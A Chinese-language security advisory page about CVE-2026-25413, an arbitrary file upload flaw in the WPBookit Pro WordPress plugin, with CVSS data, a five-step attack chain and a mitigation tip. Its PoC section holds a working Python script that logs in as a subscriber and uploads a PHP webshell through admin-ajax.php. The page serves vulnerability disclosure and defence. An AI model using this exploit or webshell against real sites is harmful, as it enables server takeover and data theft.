IPBUF安全漏洞报告
English
CVE-2026-25413 CVSS 9.9 严重

CVE-2026-25413 WPBookit Pro任意文件上传漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-25413
漏洞类型
任意文件上传
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WPBookit Pro

相关标签

WordPressWPBookit Pro任意文件上传远程代码执行CVE-2026-25413

漏洞概述

WPBookit Pro插件存在严重的任意文件上传漏洞。由于未对上传文件类型进行有效限制,经过身份验证的攻击者可上传恶意文件。成功利用该漏洞可能导致远程代码执行,从而完全控制受影响的WordPress站点。

技术细节

该漏洞位于WPBookit Pro插件的文件上传功能模块中。开发者在实现文件处理逻辑时,未对用户上传的文件类型、后缀名及内容进行严格的白名单校验,导致黑名单机制可被绕过。根据CVSS向量分析,攻击者仅需具备低权限(如注册用户)即可发起攻击。攻击者可以构造包含恶意PHP代码的图片文件或直接上传脚本,利用服务器对文件的解析规则差异(如解析漏洞),将恶意文件保存至Web根目录。随后,攻击者通过URL直接访问该文件,导致服务器执行恶意代码,进而完全控制目标系统,窃取数据或部署勒索软件。

攻击链分析

STEP 1
侦察
攻击者识别目标站点使用WordPress并安装了WPBookit Pro插件(版本<=1.6.18)。
STEP 2
获取权限
攻击者注册一个低权限账户(如订阅者),或利用现有账户登录。
STEP 3
漏洞利用
攻击者向文件上传接口发送精心构造的POST请求,绕过类型验证,上传包含恶意代码的PHP文件。
STEP 4
代码执行
攻击者通过浏览器访问上传的恶意文件URL,触发服务器端解析,执行任意系统命令。
STEP 5
维持权限
攻击者通过Webshell后门维持对服务器的控制,进行进一步的数据窃取或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com" login_url = f"{target_url}/wp-login.php" upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Common endpoint for WP plugins # Attacker credentials (low privilege) username = "subscriber" password = "password" # Initialize session session = requests.Session() # 1. Authenticate to the WordPress site print("[+] Attempting to login...") data = { "log": username, "pwd": password, "redirect_to": "", "wp-submit": "Log In" } login_response = session.post(login_url, data=data) if "wp-admin" in login_response.text: print("[+] Login successful.") else: print("[-] Login failed.") exit() # 2. Prepare malicious file payload (PHP Webshell) # The vulnerability allows dangerous types, so .php is likely accepted shell_content = "<?php system($_GET['cmd']); ?>" files = { # 'file' field name depends on the plugin's specific implementation 'file': ('exploit.php', shell_content, 'application/octet-stream') } # 3. Construct the upload request # 'action' parameter usually triggers the specific plugin function payload_data = { "action": "wpbookit_upload_action" } print("[+] Uploading malicious file...") upload_response = session.post(upload_endpoint, files=files, data=payload_data) # 4. Check if upload succeeded if upload_response.status_code == 200: print("[+] Upload request sent. Check response:") print(upload_response.text) # If the response contains the file path or success message, construct the shell URL # Assuming the upload directory is /wp-content/uploads/wpbookit-pro/ shell_url = f"{target_url}/wp-content/uploads/wpbookit-pro/exploit.php" print(f"[+] Potential Shell URL: {shell_url}?cmd=ls") else: print("[-] Upload failed.")

影响范围

WPBookit Pro <= 1.6.18

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用WPBookit Pro插件的功能或在服务器层面通过.htaccess或Nginx配置规则,拦截对上传目录中.php文件的访问请求,以阻断恶意脚本的执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表